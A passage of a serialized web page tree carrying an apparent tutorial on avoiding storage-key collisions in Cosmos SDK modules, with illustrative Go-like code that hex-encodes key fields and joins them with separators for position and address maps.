[]",{"type":25,"tag":201,"props":86662,"children":86663},{"style":4925},[86664],{"type":31,"value":85849},{"type":25,"tag":201,"props":86666,"children":86667},{"style":220},[86668],{"type":31,"value":547},{"type":25,"tag":201,"props":86670,"children":86671},{"class":203,"line":464},[86672,86677,86681,86686,86690,86694,86698,86702],{"type":25,"tag":201,"props":86673,"children":86674},{"style":246},[86675],{"type":31,"value":86676},"    hex",{"type":25,"tag":201,"props":86678,"children":86679},{"style":220},[86680],{"type":31,"value":80},{"type":25,"tag":201,"props":86682,"children":86683},{"style":214},[86684],{"type":31,"value":86685},"EncodedLen",{"type":25,"tag":201,"props":86687,"children":86688},{"style":220},[86689],{"type":31,"value":298},{"type":25,"tag":201,"props":86691,"children":86692},{"style":214},[86693],{"type":31,"value":10643},{"type":25,"tag":201,"props":86695,"children":86696},{"style":220},[86697],{"type":31,"value":298},{"type":25,"tag":201,"props":86699,"children":86700},{"style":246},[86701],{"type":31,"value":86555},{"type":25,"tag":201,"props":86703,"children":86704},{"style":220},[86705],{"type":31,"value":86706},")),\n",{"type":25,"tag":201,"props":86708,"children":86709},{"class":203,"line":490},[86710],{"type":25,"tag":201,"props":86711,"children":86712},{"style":220},[86713],{"type":31,"value":4666},{"type":25,"tag":201,"props":86715,"children":86716},{"class":203,"line":499},[86717,86722,86726,86731,86735,86739,86743,86747],{"type":25,"tag":201,"props":86718,"children":86719},{"style":246},[86720],{"type":31,"value":86721},"hex",{"type":25,"tag":201,"props":86723,"children":86724},{"style":220},[86725],{"type":31,"value":80},{"type":25,"tag":201,"props":86727,"children":86728},{"style":214},[86729],{"type":31,"value":86730},"Encode",{"type":25,"tag":201,"props":86732,"children":86733},{"style":220},[86734],{"type":31,"value":298},{"type":25,"tag":201,"props":86736,"children":86737},{"style":246},[86738],{"type":31,"value":86639},{"type":25,"tag":201,"props":86740,"children":86741},{"style":220},[86742],{"type":31,"value":919},{"type":25,"tag":201,"props":86744,"children":86745},{"style":246},[86746],{"type":31,"value":86555},{"type":25,"tag":201,"props":86748,"children":86749},{"style":220},[86750],{"type":31,"value":4666},{"type":25,"tag":201,"props":86752,"children":86753},{"class":203,"line":522},[86754],{"type":25,"tag":201,"props":86755,"children":86756},{"emptyLinePlaceholder":17},[86757],{"type":31,"value":496},{"type":25,"tag":201,"props":86759,"children":86760},{"class":203,"line":531},[86761,86766,86770,86774],{"type":25,"tag":201,"props":86762,"children":86763},{"style":246},[86764],{"type":31,"value":86765},"positionNameEncoded",{"type":25,"tag":201,"props":86767,"children":86768},{"style":261},[86769],{"type":31,"value":77500},{"type":25,"tag":201,"props":86771,"children":86772},{"style":214},[86773],{"type":31,"value":86648},{"type":25,"tag":201,"props":86775,"children":86776},{"style":220},[86777],{"type":31,"value":4970},{"type":25,"tag":201,"props":86779,"children":86780},{"class":203,"line":550},[86781,86785,86789],{"type":25,"tag":201,"props":86782,"children":86783},{"style":220},[86784],{"type":31,"value":86660},{"type":25,"tag":201,"props":86786,"children":86787},{"style":4925},[86788],{"type":31,"value":85849},{"type":25,"tag":201,"props":86790,"children":86791},{"style":220},[86792],{"type":31,"value":547},{"type":25,"tag":201,"props":86794,"children":86795},{"class":203,"line":563},[86796,86800,86804,86808,86812,86816,86820,86825],{"type":25,"tag":201,"props":86797,"children":86798},{"style":246},[86799],{"type":31,"value":86676},{"type":25,"tag":201,"props":86801,"children":86802},{"style":220},[86803],{"type":31,"value":80},{"type":25,"tag":201,"props":86805,"children":86806},{"style":214},[86807],{"type":31,"value":86685},{"type":25,"tag":201,"props":86809,"children":86810},{"style":220},[86811],{"type":31,"value":298},{"type":25,"tag":201,"props":86813,"children":86814},{"style":214},[86815],{"type":31,"value":10643},{"type":25,"tag":201,"props":86817,"children":86818},{"style":220},[86819],{"type":31,"value":298},{"type":25,"tag":201,"props":86821,"children":86822},{"style":246},[86823],{"type":31,"value":86824},"positionName",{"type":25,"tag":201,"props":86826,"children":86827},{"style":220},[86828],{"type":31,"value":86706},{"type":25,"tag":201,"props":86830,"children":86831},{"class":203,"line":572},[86832],{"type":25,"tag":201,"props":86833,"children":86834},{"style":220},[86835],{"type":31,"value":4666},{"type":25,"tag":201,"props":86837,"children":86838},{"class":203,"line":590},[86839,86843,86847,86851,86855,86859,86863,86867],{"type":25,"tag":201,"props":86840,"children":86841},{"style":246},[86842],{"type":31,"value":86721},{"type":25,"tag":201,"props":86844,"children":86845},{"style":220},[86846],{"type":31,"value":80},{"type":25,"tag":201,"props":86848,"children":86849},{"style":214},[86850],{"type":31,"value":86730},{"type":25,"tag":201,"props":86852,"children":86853},{"style":220},[86854],{"type":31,"value":298},{"type":25,"tag":201,"props":86856,"children":86857},{"style":246},[86858],{"type":31,"value":86765},{"type":25,"tag":201,"props":86860,"children":86861},{"style":220},[86862],{"type":31,"value":919},{"type":25,"tag":201,"props":86864,"children":86865},{"style":246},[86866],{"type":31,"value":86824},{"type":25,"tag":201,"props":86868,"children":86869},{"style":220},[86870],{"type":31,"value":4666},{"type":25,"tag":201,"props":86872,"children":86873},{"class":203,"line":608},[86874],{"type":25,"tag":201,"props":86875,"children":86876},{"emptyLinePlaceholder":17},[86877],{"type":31,"value":496},{"type":25,"tag":201,"props":86879,"children":86880},{"class":203,"line":617},[86881,86885,86889,86893,86897,86901],{"type":25,"tag":201,"props":86882,"children":86883},{"style":246},[86884],{"type":31,"value":86290},{"type":25,"tag":201,"props":86886,"children":86887},{"style":261},[86888],{"type":31,"value":77500},{"type":25,"tag":201,"props":86890,"children":86891},{"style":246},[86892],{"type":31,"value":83318},{"type":25,"tag":201,"props":86894,"children":86895},{"style":220},[86896],{"type":31,"value":80},{"type":25,"tag":201,"props":86898,"children":86899},{"style":214},[86900],{"type":31,"value":86307},{"type":25,"tag":201,"props":86902,"children":86903},{"style":220},[86904],{"type":31,"value":4970},{"type":25,"tag":201,"props":86906,"children":86907},{"class":203,"line":625},[86908,86912],{"type":25,"tag":201,"props":86909,"children":86910},{"style":267},[86911],{"type":31,"value":86473},{"type":25,"tag":201,"props":86913,"children":86914},{"style":220},[86915],{"type":31,"value":547},{"type":25,"tag":201,"props":86917,"children":86918},{"class":203,"line":642},[86919,86923],{"type":25,"tag":201,"props":86920,"children":86921},{"style":246},[86922],{"type":31,"value":86331},{"type":25,"tag":201,"props":86924,"children":86925},{"style":220},[86926],{"type":31,"value":547},{"type":25,"tag":201,"props":86928,"children":86929},{"class":203,"line":659},[86930,86934],{"type":25,"tag":201,"props":86931,"children":86932},{"style":246},[86933],{"type":31,"value":86415},{"type":25,"tag":201,"props":86935,"children":86936},{"style":220},[86937],{"type":31,"value":547},{"type":25,"tag":201,"props":86939,"children":86940},{"class":203,"line":667},[86941,86946],{"type":25,"tag":201,"props":86942,"children":86943},{"style":246},[86944],{"type":31,"value":86945},"    usernameEncoded",{"type":25,"tag":201,"props":86947,"children":86948},{"style":220},[86949],{"type":31,"value":547},{"type":25,"tag":201,"props":86951,"children":86952},{"class":203,"line":676},[86953,86957],{"type":25,"tag":201,"props":86954,"children":86955},{"style":246},[86956],{"type":31,"value":86415},{"type":25,"tag":201,"props":86958,"children":86959},{"style":220},[86960],{"type":31,"value":547},{"type":25,"tag":201,"props":86962,"children":86963},{"class":203,"line":694},[86964],{"type":25,"tag":201,"props":86965,"children":86966},{"style":246},[86967],{"type":31,"value":86968},"    positionNameEncoded\n",{"type":25,"tag":201,"props":86970,"children":86971},{"class":203,"line":707},[86972],{"type":25,"tag":201,"props":86973,"children":86974},{"style":220},[86975],{"type":31,"value":4666},{"type":25,"tag":34,"props":86977,"children":86978},{},[86979,86981,86986],{"type":31,"value":86980},"We did it. We finally eliminated all potential ",{"type":25,"tag":115,"props":86982,"children":86984},{"className":86983},[],[86985],{"type":31,"value":86290},{"type":31,"value":86987}," collisions.",{"type":25,"tag":34,"props":86989,"children":86990},{},[86991],{"type":31,"value":86992},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":25,"tag":34,"props":86994,"children":86995},{},[86996,86998,87004,87006,87011,87013,87018,87020,87025,87027,87033],{"type":31,"value":86997},"In the Cosmos framework, it is common for each ",{"type":25,"tag":115,"props":86999,"children":87001},{"className":87000},[],[87002],{"type":31,"value":87003},"Module",{"type":31,"value":87005}," to own a few ",{"type":25,"tag":115,"props":87007,"children":87009},{"className":87008},[],[87010],{"type":31,"value":86061},{"type":31,"value":87012}," and have individual ",{"type":25,"tag":115,"props":87014,"children":87016},{"className":87015},[],[87017],{"type":31,"value":81029},{"type":31,"value":87019},"s managing access to storages. It's also important to note that each ",{"type":25,"tag":115,"props":87021,"children":87023},{"className":87022},[],[87024],{"type":31,"value":86061},{"type":31,"value":87026}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":25,"tag":115,"props":87028,"children":87030},{"className":87029},[],[87031],{"type":31,"value":87032},"Modules",{"type":31,"value":80},{"type":25,"tag":34,"props":87035,"children":87036},{},[87037,87039,87044],{"type":31,"value":87038},"With that being said, what if we have to maintain more than one structure within the same ",{"type":25,"tag":115,"props":87040,"children":87042},{"className":87041},[],[87043],{"type":31,"value":86061},{"type":31,"value":4661},{"type":25,"tag":34,"props":87046,"children":87047},{},[87048,87050,87056,87058,87063],{"type":31,"value":87049},"To demonstrate this scenario, we introduce the ",{"type":25,"tag":115,"props":87051,"children":87053},{"className":87052},[],[87054],{"type":31,"value":87055},"NameToAddressMap",{"type":31,"value":87057}," structure, which will be stored in the same ",{"type":25,"tag":115,"props":87059,"children":87061},{"className":87060},[],[87062],{"type":31,"value":86061},{"type":31,"value":87064}," we previously used.",{"type":25,"tag":191,"props":87066,"children":87068},{"code":87067,"language":77248,"meta":7,"className":77249,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[87069],{"type":25,"tag":115,"props":87070,"children":87071},{"__ignoreMap":7},[87072,87087,87102,87109,87124,87143,87158,87165,87180,87235,87242,87258,87278,87293,87300,87316],{"type":25,"tag":201,"props":87073,"children":87074},{"class":203,"line":204},[87075,87079,87083],{"type":25,"tag":201,"props":87076,"children":87077},{"style":208},[87078],{"type":31,"value":1684},{"type":25,"tag":201,"props":87080,"children":87081},{"style":4925},[87082],{"type":31,"value":86107},{"type":25,"tag":201,"props":87084,"children":87085},{"style":4925},[87086],{"type":31,"value":77286},{"type":25,"tag":201,"props":87088,"children":87089},{"class":203,"line":226},[87090,87094,87098],{"type":25,"tag":201,"props":87091,"children":87092},{"style":208},[87093],{"type":31,"value":1684},{"type":25,"tag":201,"props":87095,"children":87096},{"style":4925},[87097],{"type":31,"value":86123},{"type":25,"tag":201,"props":87099,"children":87100},{"style":4925},[87101],{"type":31,"value":86128},{"type":25,"tag":201,"props":87103,"children":87104},{"class":203,"line":278},[87105],{"type":25,"tag":201,"props":87106,"children":87107},{"emptyLinePlaceholder":17},[87108],{"type":31,"value":496},{"type":25,"tag":201,"props":87110,"children":87111},{"class":203,"line":311},[87112,87116,87120],{"type":25,"tag":201,"props":87113,"children":87114},{"style":208},[87115],{"type":31,"value":1684},{"type":25,"tag":201,"props":87117,"children":87118},{"style":4925},[87119],{"type":31,"value":86140},{"type":25,"tag":201,"props":87121,"children":87122},{"style":4925},[87123],{"type":31,"value":86128},{"type":25,"tag":201,"props":87125,"children":87126},{"class":203,"line":330},[87127,87131,87135,87139],{"type":25,"tag":201,"props":87128,"children":87129},{"style":208},[87130],{"type":31,"value":1684},{"type":25,"tag":201,"props":87132,"children":87133},{"style":4925},[87134],{"type":31,"value":8934},{"type":25,"tag":201,"props":87136,"children":87137},{"style":208},[87138],{"type":31,"value":22646},{"type":25,"tag":201,"props":87140,"children":87141},{"style":220},[87142],{"type":31,"value":327},{"type":25,"tag":201,"props":87144,"children":87145},{"class":203,"line":397},[87146,87150,87154],{"type":25,"tag":201,"props":87147,"children":87148},{"style":246},[87149],{"type":31,"value":44304},{"type":25,"tag":201,"props":87151,"children":87152},{"style":220},[87153],{"type":31,"value":77311},{"type":25,"tag":201,"props":87155,"children":87156},{"style":4925},[87157],{"type":31,"value":85312},{"type":25,"tag":201,"props":87159,"children":87160},{"class":203,"line":437},[87161],{"type":25,"tag":201,"props":87162,"children":87163},{"style":220},[87164],{"type":31,"value":1187},{"type":25,"tag":201,"props":87166,"children":87167},{"class":203,"line":464},[87168,87172,87176],{"type":25,"tag":201,"props":87169,"children":87170},{"style":208},[87171],{"type":31,"value":1684},{"type":25,"tag":201,"props":87173,"children":87174},{"style":4925},[87175],{"type":31,"value":86197},{"type":25,"tag":201,"props":87177,"children":87178},{"style":261},[87179],{"type":31,"value":86202},{"type":25,"tag":201,"props":87181,"children":87182},{"class":203,"line":490},[87183,87187,87191,87195,87199,87203,87207,87211,87215,87219,87223,87227,87231],{"type":25,"tag":201,"props":87184,"children":87185},{"style":208},[87186],{"type":31,"value":86210},{"type":25,"tag":201,"props":87188,"children":87189},{"style":220},[87190],{"type":31,"value":423},{"type":25,"tag":201,"props":87192,"children":87193},{"style":4925},[87194],{"type":31,"value":86219},{"type":25,"tag":201,"props":87196,"children":87197},{"style":220},[87198],{"type":31,"value":16907},{"type":25,"tag":201,"props":87200,"children":87201},{"style":208},[87202],{"type":31,"value":68183},{"type":25,"tag":201,"props":87204,"children":87205},{"style":220},[87206],{"type":31,"value":423},{"type":25,"tag":201,"props":87208,"children":87209},{"style":4925},[87210],{"type":31,"value":86236},{"type":25,"tag":201,"props":87212,"children":87213},{"style":220},[87214],{"type":31,"value":16907},{"type":25,"tag":201,"props":87216,"children":87217},{"style":208},[87218],{"type":31,"value":68183},{"type":25,"tag":201,"props":87220,"children":87221},{"style":220},[87222],{"type":31,"value":423},{"type":25,"tag":201,"props":87224,"children":87225},{"style":4925},[87226],{"type":31,"value":86253},{"type":25,"tag":201,"props":87228,"children":87229},{"style":220},[87230],{"type":31,"value":16907},{"type":25,"tag":201,"props":87232,"children":87233},{"style":4925},[87234],{"type":31,"value":86262},{"type":25,"tag":201,"props":87236,"children":87237},{"class":203,"line":499},[87238],{"type":25,"tag":201,"props":87239,"children":87240},{"emptyLinePlaceholder":17},[87241],{"type":31,"value":496},{"type":25,"tag":201,"props":87243,"children":87244},{"class":203,"line":522},[87245,87249,87254],{"type":25,"tag":201,"props":87246,"children":87247},{"style":208},[87248],{"type":31,"value":1684},{"type":25,"tag":201,"props":87250,"children":87251},{"style":4925},[87252],{"type":31,"value":87253}," AddressName",{"type":25,"tag":201,"props":87255,"children":87256},{"style":4925},[87257],{"type":31,"value":86128},{"type":25,"tag":201,"props":87259,"children":87260},{"class":203,"line":531},[87261,87265,87270,87274],{"type":25,"tag":201,"props":87262,"children":87263},{"style":208},[87264],{"type":31,"value":1684},{"type":25,"tag":201,"props":87266,"children":87267},{"style":4925},[87268],{"type":31,"value":87269}," Address",{"type":25,"tag":201,"props":87271,"children":87272},{"style":208},[87273],{"type":31,"value":22646},{"type":25,"tag":201,"props":87275,"children":87276},{"style":220},[87277],{"type":31,"value":327},{"type":25,"tag":201,"props":87279,"children":87280},{"class":203,"line":550},[87281,87285,87289],{"type":25,"tag":201,"props":87282,"children":87283},{"style":246},[87284],{"type":31,"value":16603},{"type":25,"tag":201,"props":87286,"children":87287},{"style":220},[87288],{"type":31,"value":77311},{"type":25,"tag":201,"props":87290,"children":87291},{"style":4925},[87292],{"type":31,"value":85312},{"type":25,"tag":201,"props":87294,"children":87295},{"class":203,"line":563},[87296],{"type":25,"tag":201,"props":87297,"children":87298},{"style":220},[87299],{"type":31,"value":1187},{"type":25,"tag":201,"props":87301,"children":87302},{"class":203,"line":572},[87303,87307,87312],{"type":25,"tag":201,"props":87304,"children":87305},{"style":208},[87306],{"type":31,"value":1684},{"type":25,"tag":201,"props":87308,"children":87309},{"style":4925},[87310],{"type":31,"value":87311}," AddressMap",{"type":25,"tag":201,"props":87313,"children":87314},{"style":261},[87315],{"type":31,"value":86202},{"type":25,"tag":201,"props":87317,"children":87318},{"class":203,"line":590},[87319,87323,87327,87331,87335,87339,87343,87347,87351,87355,87359,87364,87368],{"type":25,"tag":201,"props":87320,"children":87321},{"style":208},[87322],{"type":31,"value":86210},{"type":25,"tag":201,"props":87324,"children":87325},{"style":220},[87326],{"type":31,"value":423},{"type":25,"tag":201,"props":87328,"children":87329},{"style":4925},[87330],{"type":31,"value":86219},{"type":25,"tag":201,"props":87332,"children":87333},{"style":220},[87334],{"type":31,"value":16907},{"type":25,"tag":201,"props":87336,"children":87337},{"style":208},[87338],{"type":31,"value":68183},{"type":25,"tag":201,"props":87340,"children":87341},{"style":220},[87342],{"type":31,"value":423},{"type":25,"tag":201,"props":87344,"children":87345},{"style":4925},[87346],{"type":31,"value":86236},{"type":25,"tag":201,"props":87348,"children":87349},{"style":220},[87350],{"type":31,"value":16907},{"type":25,"tag":201,"props":87352,"children":87353},{"style":208},[87354],{"type":31,"value":68183},{"type":25,"tag":201,"props":87356,"children":87357},{"style":220},[87358],{"type":31,"value":423},{"type":25,"tag":201,"props":87360,"children":87361},{"style":4925},[87362],{"type":31,"value":87363},"AddressName",{"type":25,"tag":201,"props":87365,"children":87366},{"style":220},[87367],{"type":31,"value":16907},{"type":25,"tag":201,"props":87369,"children":87370},{"style":4925},[87371],{"type":31,"value":87372},"Address\n",{"type":25,"tag":34,"props":87374,"children":87375},{},[87376],{"type":31,"value":87377},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":25,"tag":191,"props":87379,"children":87381},{"code":87380,"language":77248,"meta":7,"className":77249,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[87382],{"type":25,"tag":115,"props":87383,"children":87384},{"__ignoreMap":7},[87385,87396,87411,87418,87425,87432,87448,87463,87490,87513,87532,87548,87584,87591,87626,87633,87653,87668,87703,87710,87745,87752,87780,87792,87804,87816,87828,87839,87851,87858,87865,87872,87879,87895,87910,87934,87957,87976,87991,88026,88033,88068,88075,88095,88110,88145,88152,88188,88195,88222,88233,88244,88255,88266,88277,88289,88296],{"type":25,"tag":201,"props":87386,"children":87387},{"class":203,"line":204},[87388,87392],{"type":25,"tag":201,"props":87389,"children":87390},{"style":208},[87391],{"type":31,"value":4074},{"type":25,"tag":201,"props":87393,"children":87394},{"style":220},[87395],{"type":31,"value":79650},{"type":25,"tag":201,"props":87397,"children":87398},{"class":203,"line":226},[87399,87403,87407],{"type":25,"tag":201,"props":87400,"children":87401},{"style":246},[87402],{"type":31,"value":86415},{"type":25,"tag":201,"props":87404,"children":87405},{"style":261},[87406],{"type":31,"value":413},{"type":25,"tag":201,"props":87408,"children":87409},{"style":267},[87410],{"type":31,"value":86424},{"type":25,"tag":201,"props":87412,"children":87413},{"class":203,"line":278},[87414],{"type":25,"tag":201,"props":87415,"children":87416},{"style":220},[87417],{"type":31,"value":4666},{"type":25,"tag":201,"props":87419,"children":87420},{"class":203,"line":311},[87421],{"type":25,"tag":201,"props":87422,"children":87423},{"emptyLinePlaceholder":17},[87424],{"type":31,"value":496},{"type":25,"tag":201,"props":87426,"children":87427},{"class":203,"line":330},[87428],{"type":25,"tag":201,"props":87429,"children":87430},{"emptyLinePlaceholder":17},[87431],{"type":31,"value":496},{"type":25,"tag":201,"props":87433,"children":87434},{"class":203,"line":397},[87435,87439,87444],{"type":25,"tag":201,"props":87436,"children":87437},{"style":208},[87438],{"type":31,"value":77384},{"type":25,"tag":201,"props":87440,"children":87441},{"style":214},[87442],{"type":31,"value":87443}," PositionMapKey",{"type":25,"tag":201,"props":87445,"children":87446},{"style":220},[87447],{"type":31,"value":4970},{"type":25,"tag":201,"props":87449,"children":87450},{"class":203,"line":437},[87451,87455,87459],{"type":25,"tag":201,"props":87452,"children":87453},{"style":246},[87454],{"type":31,"value":86331},{"type":25,"tag":201,"props":87456,"children":87457},{"style":4925},[87458],{"type":31,"value":77505},{"type":25,"tag":201,"props":87460,"children":87461},{"style":220},[87462],{"type":31,"value":547},{"type":25,"tag":201,"props":87464,"children":87465},{"class":203,"line":464},[87466,87470,87474,87478,87482,87486],{"type":25,"tag":201,"props":87467,"children":87468},{"style":246},[87469],{"type":31,"value":86343},{"type":25,"tag":201,"props":87471,"children":87472},{"style":220},[87473],{"type":31,"value":919},{"type":25,"tag":201,"props":87475,"children":87476},{"style":246},[87477],{"type":31,"value":86824},{"type":25,"tag":201,"props":87479,"children":87480},{"style":220},[87481],{"type":31,"value":77311},{"type":25,"tag":201,"props":87483,"children":87484},{"style":4925},[87485],{"type":31,"value":85849},{"type":25,"tag":201,"props":87487,"children":87488},{"style":220},[87489],{"type":31,"value":547},{"type":25,"tag":201,"props":87491,"children":87492},{"class":203,"line":490},[87493,87497,87501,87505,87509],{"type":25,"tag":201,"props":87494,"children":87495},{"style":220},[87496],{"type":31,"value":77466},{"type":25,"tag":201,"props":87498,"children":87499},{"style":246},[87500],{"type":31,"value":73238},{"type":25,"tag":201,"props":87502,"children":87503},{"style":220},[87504],{"type":31,"value":77311},{"type":25,"tag":201,"props":87506,"children":87507},{"style":4925},[87508],{"type":31,"value":85849},{"type":25,"tag":201,"props":87510,"children":87511},{"style":220},[87512],{"type":31,"value":275},{"type":25,"tag":201,"props":87514,"children":87515},{"class":203,"line":499},[87516,87520,87524,87528],{"type":25,"tag":201,"props":87517,"children":87518},{"style":246},[87519],{"type":31,"value":86945},{"type":25,"tag":201,"props":87521,"children":87522},{"style":261},[87523],{"type":31,"value":77500},{"type":25,"tag":201,"props":87525,"children":87526},{"style":214},[87527],{"type":31,"value":86648},{"type":25,"tag":201,"props":87529,"children":87530},{"style":220},[87531],{"type":31,"value":4970},{"type":25,"tag":201,"props":87533,"children":87534},{"class":203,"line":522},[87535,87540,87544],{"type":25,"tag":201,"props":87536,"children":87537},{"style":220},[87538],{"type":31,"value":87539},"        []",{"type":25,"tag":201,"props":87541,"children":87542},{"style":4925},[87543],{"type":31,"value":85849},{"type":25,"tag":201,"props":87545,"children":87546},{"style":220},[87547],{"type":31,"value":547},{"type":25,"tag":201,"props":87549,"children":87550},{"class":203,"line":531},[87551,87556,87560,87564,87568,87572,87576,87580],{"type":25,"tag":201,"props":87552,"children":87553},{"style":246},[87554],{"type":31,"value":87555},"        hex",{"type":25,"tag":201,"props":87557,"children":87558},{"style":220},[87559],{"type":31,"value":80},{"type":25,"tag":201,"props":87561,"children":87562},{"style":214},[87563],{"type":31,"value":86685},{"type":25,"tag":201,"props":87565,"children":87566},{"style":220},[87567],{"type":31,"value":298},{"type":25,"tag":201,"props":87569,"children":87570},{"style":214},[87571],{"type":31,"value":10643},{"type":25,"tag":201,"props":87573,"children":87574},{"style":220},[87575],{"type":31,"value":298},{"type":25,"tag":201,"props":87577,"children":87578},{"style":246},[87579],{"type":31,"value":86555},{"type":25,"tag":201,"props":87581,"children":87582},{"style":220},[87583],{"type":31,"value":86706},{"type":25,"tag":201,"props":87585,"children":87586},{"class":203,"line":550},[87587],{"type":25,"tag":201,"props":87588,"children":87589},{"style":220},[87590],{"type":31,"value":25405},{"type":25,"tag":201,"props":87592,"children":87593},{"class":203,"line":563},[87594,87598,87602,87606,87610,87614,87618,87622],{"type":25,"tag":201,"props":87595,"children":87596},{"style":246},[87597],{"type":31,"value":86676},{"type":25,"tag":201,"props":87599,"children":87600},{"style":220},[87601],{"type":31,"value":80},{"type":25,"tag":201,"props":87603,"children":87604},{"style":214},[87605],{"type":31,"value":86730},{"type":25,"tag":201,"props":87607,"children":87608},{"style":220},[87609],{"type":31,"value":298},{"type":25,"tag":201,"props":87611,"children":87612},{"style":246},[87613],{"type":31,"value":86639},{"type":25,"tag":201,"props":87615,"children":87616},{"style":220},[87617],{"type":31,"value":919},{"type":25,"tag":201,"props":87619,"children":87620},{"style":246},[87621],{"type":31,"value":86555},{"type":25,"tag":201,"props":87623,"children":87624},{"style":220},[87625],{"type":31,"value":4666},{"type":25,"tag":201,"props":87627,"children":87628},{"class":203,"line":572},[87629],{"type":25,"tag":201,"props":87630,"children":87631},{"emptyLinePlaceholder":17},[87632],{"type":31,"value":496},{"type":25,"tag":201,"props":87634,"children":87635},{"class":203,"line":590},[87636,87641,87645,87649],{"type":25,"tag":201,"props":87637,"children":87638},{"style":246},[87639],{"type":31,"value":87640},"    positionNameEncoded",{"type":25,"tag":201,"props":87642,"children":87643},{"style":261},[87644],{"type":31,"value":77500},{"type":25,"tag":201,"props":87646,"children":87647},{"style":214},[87648],{"type":31,"value":86648},{"type":25,"tag":201,"props":87650,"children":87651},{"style":220},[87652],{"type":31,"value":4970},{"type":25,"tag":201,"props":87654,"children":87655},{"class":203,"line":608},[87656,87660,87664],{"type":25,"tag":201,"props":87657,"children":87658},{"style":220},[87659],{"type":31,"value":87539},{"type":25,"tag":201,"props":87661,"children":87662},{"style":4925},[87663],{"type":31,"value":85849},{"type":25,"tag":201,"props":87665,"children":87666},{"style":220},[87667],{"type":31,"value":547},{"type":25,"tag":201,"props":87669,"children":87670},{"class":203,"line":617},[87671,87675,87679,87683,87687,87691,87695,87699],{"type":25,"tag":201,"props":87672,"children":87673},{"style":246},[87674],{"type":31,"value":87555},{"type":25,"tag":201,"props":87676,"children":87677},{"style":220},[87678],{"type":31,"value":80},{"type":25,"tag":201,"props":87680,"children":87681},{"style":214},[87682],{"type":31,"value":86685},{"type":25,"tag":201,"props":87684,"children":87685},{"style":220},[87686],{"type":31,"value":298},{"type":25,"tag":201,"props":87688,"children":87689},{"style":214},[87690],{"type":31,"value":10643},{"type":25,"tag":201,"props":87692,"children":87693},{"style":220},[87694],{"type":31,"value":298},{"type":25,"tag":201,"props":87696,"children":87697},{"style":246},[87698],{"type":31,"value":86824},{"type":25,"tag":201,"props":87700,"children":87701},{"style":220},[87702],{"type":31,"value":86706},{"type":25,"tag":201,"props":87704,"children":87705},{"class":203,"line":625},[87706],{"type":25,"tag":201,"props":87707,"children":87708},{"style":220},[87709],{"type":31,"value":25405},{"type":25,"tag":201,"props":87711,"children":87712},{"class":203,"line":642},[87713,87717,87721,87725,87729,87733,87737,87741],{"type":25,"tag":201,"props":87714,"children":87715},{"style":246},[87716],{"type":31,"value":86676},{"type":25,"tag":201,"props":87718,"children":87719},{"style":220},[87720],{"type":31,"value":80},{"type":25,"tag":201,"props":87722,"children":87723},{"style":214},[87724],{"type":31,"value":86730},{"type":25,"tag":201,"props":87726,"children":87727},{"style":220},[87728],{"type":31,"value":298},{"type":25,"tag":201,"props":87730,"children":87731},{"style":246},[87732],{"type":31,"value":86765},{"type":25,"tag":201,"props":87734,"children":87735},{"style":220},[87736],{"type":31,"value":919},{"type":25,"tag":201,"props":87738,"children":87739},{"style":246},[87740],{"type":31,"value":86824},{"type":25,"tag":201,"props":87742,"children":87743},{"style":220},[87744],{"type":31,"value":4666},{"type":25,"tag":201,"props":87746,"children":87747},{"class":203,"line":659},[87748],{"type":25,"tag":201,"props":87749,"children":87750},{"emptyLinePlaceholder":17},[87751],{"type":31,"value":496},{"type":25,"tag":201,"props":87753,"children":87754},{"class":203,"line":667},[87755,87760,87764,87768,87772,87776],{"type":25,"tag":201,"props":87756,"children":87757},{"style":246},[87758],{"type":31,"value":87759},"    key",{"type":25,"tag":201,"props":87761,"children":87762},{"style":261},[87763],{"type":31,"value":77500},{"type":25,"tag":201,"props":87765,"children":87766},{"style":246},[87767],{"type":31,"value":83318},{"type":25,"tag":201,"props":87769,"children":87770},{"style":220},[87771],{"type":31,"value":80},{"type":25,"tag":201,"props":87773,"children":87774},{"style":214},[87775],{"type":31,"value":86307},{"type":25,"tag":201,"props":87777,"children":87778},{"style":220},[87779],{"type":31,"value":4970},{"type":25,"tag":201,"props":87781,"children":87782},{"class":203,"line":676},[87783,87788],{"type":25,"tag":201,"props":87784,"children":87785},{"style":267},[87786],{"type":31,"value":87787},"        \"%d%s%s%s%s\"",{"type":25,"tag":201,"props":87789,"children":87790},{"style":220},[87791],{"type":31,"value":547},{"type":25,"tag":201,"props":87793,"children":87794},{"class":203,"line":694},[87795,87800],{"type":25,"tag":201,"props":87796,"children":87797},{"style":246},[87798],{"type":31,"value":87799},"        vaultId",{"type":25,"tag":201,"props":87801,"children":87802},{"style":220},[87803],{"type":31,"value":547},{"type":25,"tag":201,"props":87805,"children":87806},{"class":203,"line":707},[87807,87812],{"type":25,"tag":201,"props":87808,"children":87809},{"style":246},[87810],{"type":31,"value":87811},"        